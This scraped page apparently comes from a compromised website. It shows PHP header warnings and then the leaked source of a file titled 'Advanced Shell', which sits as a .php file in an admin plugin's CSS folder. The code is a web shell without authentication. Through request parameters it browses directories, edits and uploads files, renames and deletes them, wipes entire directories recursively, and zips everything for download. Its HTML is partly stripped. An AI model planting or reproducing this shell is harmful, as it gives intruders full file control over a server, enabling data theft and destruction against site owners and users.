Warning: Cannot modify header information - headers already sent by (output started at /home/stsportal/public_html/admin/assets/plugins/clockface/css/classwithtostring.php:6) in /home/stsportal/public_html/admin/assets/plugins/clockface/css/classwithtostring.php on line 148

Warning: Cannot modify header information - headers already sent by (output started at /home/stsportal/public_html/admin/assets/plugins/clockface/css/classwithtostring.php:6) in /home/stsportal/public_html/admin/assets/plugins/clockface/css/classwithtostring.php on line 149

Warning: Cannot modify header information - headers already sent by (output started at /home/stsportal/public_html/admin/assets/plugins/clockface/css/classwithtostring.php:6) in /home/stsportal/public_html/admin/assets/plugins/clockface/css/classwithtostring.php on line 150

Warning: Cannot modify header information - headers already sent by (output started at /home/stsportal/public_html/admin/assets/plugins/clockface/css/classwithtostring.php:6) in /home/stsportal/public_html/admin/assets/plugins/clockface/css/classwithtostring.php on line 151

Warning: Cannot modify header information - headers already sent by (output started at /home/stsportal/public_html/admin/assets/plugins/clockface/css/classwithtostring.php:6) in /home/stsportal/public_html/admin/assets/plugins/clockface/css/classwithtostring.php on line 152

Warning: Cannot modify header information - headers already sent by (output started at /home/stsportal/public_html/admin/assets/plugins/clockface/css/classwithtostring.php:6) in /home/stsportal/public_html/admin/assets/plugins/clockface/css/classwithtostring.php on line 153

Warning: Cannot modify header information - headers already sent by (output started at /home/stsportal/public_html/admin/assets/plugins/clockface/css/classwithtostring.php:6) in /home/stsportal/public_html/admin/assets/plugins/clockface/css/classwithtostring.php on line 154
Advanced Shell"; function list_files($dir) { $files = scandir($dir); echo "

Directory: $dir

"; echo "
"; echo "
"; } function view_file($file) { $content = htmlspecialchars(file_get_contents($file)); echo "

Editing: $file

"; echo "
"; echo "
"; echo ""; echo "
"; if (isset($_POST['save'])) { file_put_contents($file, $_POST['content']); echo '

File saved successfully!

'; } } function rename_file($old_name, $new_name) { if (rename($old_name, $new_name)) { echo '

File renamed successfully!

'; } else { echo '

Failed to rename file.

'; } } function create_file($dir, $file_name) { $file_path = $dir . DIRECTORY_SEPARATOR . $file_name; if (file_put_contents($file_path, '') !== false) { echo "

File '$file_name' created successfully!

"; } else { echo '

Failed to create file.

'; } } function delete_file($file) { if (unlink($file)) { echo '

File deleted successfully!

'; } else { echo '

Failed to delete file.

'; } } function delete_all_files($dir) { $files = scandir($dir); foreach ($files as $file) { if ($file != "." && $file != "..") { $file_path = realpath($dir . DIRECTORY_SEPARATOR . $file); if (is_dir($file_path)) { delete_all_files($file_path); // Recursively delete directories rmdir($file_path); // Delete the directory itself } else { unlink($file_path); // Delete the file } } } echo '

All files deleted successfully!

'; } function upload_file($dir) { if (isset($_FILES['upload_file'])) { $upload_path = $dir . DIRECTORY_SEPARATOR . basename($_FILES['upload_file']['name']); if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $upload_path)) { echo "

File uploaded successfully to $upload_path

"; } else { echo "

Failed to upload file.

"; } } } function zip_dir($source, $destination) { if (!extension_loaded('zip') || !file_exists($source)) { return false; } $zip = new ZipArchive(); if (!$zip->open($destination, ZIPARCHIVE::CREATE)) { return false; } $source = str_replace('\\', '/', realpath($source)); if (is_dir($source) === true) { $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST); foreach ($files as $file) { $file = str_replace('\\', '/', realpath($file)); if (is_dir($file) === true) { $zip->addEmptyDir(str_replace($source . '/', '', $file . '/')); } else if (is_file($file) === true) { $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file)); } } } else if (is_file($source) === true) { $zip->addFromString(basename($source), file_get_contents($source)); } return $zip->close(); } function download_all_files($dir) { $zip_file = tempnam(sys_get_temp_dir(), 'zip'); zip_dir($dir, $zip_file); header('Content-Type: application/zip'); header('Content-disposition: attachment; filename=all_files.zip'); header('Content-Length: ' . filesize($zip_file)); readfile($zip_file); unlink($zip_file); exit; } function download_file($file) { if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename=' . basename($file)); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } else { echo "

File does not exist.

"; } } // Main logic $dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); if (isset($_POST['create_file']) && !empty($_POST['new_file_name'])) { create_file($dir, $_POST['new_file_name']); } if (isset($_GET['rename'])) { $old_name = $_GET['rename']; echo "
"; echo ""; echo ""; echo "
"; if (isset($_POST['rename_file']) && !empty($_POST['new_name'])) { $new_name = $dir . DIRECTORY_SEPARATOR . $_POST['new_name']; rename_file($old_name, $new_name); } } if (isset($_GET['delete'])) { $file_to_delete = $_GET['delete']; delete_file($file_to_delete); } if (isset($_GET['download'])) { $file_to_download = $_GET['download']; download_file($file_to_download); } if (isset($_POST['delete_all'])) { delete_all_files($dir); } if (isset($_POST['upload'])) { upload_file($dir); } if (isset($_POST['download_all'])) { download_all_files($dir); } if (isset($_GET['file'])) { view_file($_GET['file']); } else { list_files($dir); } echo ""; ?>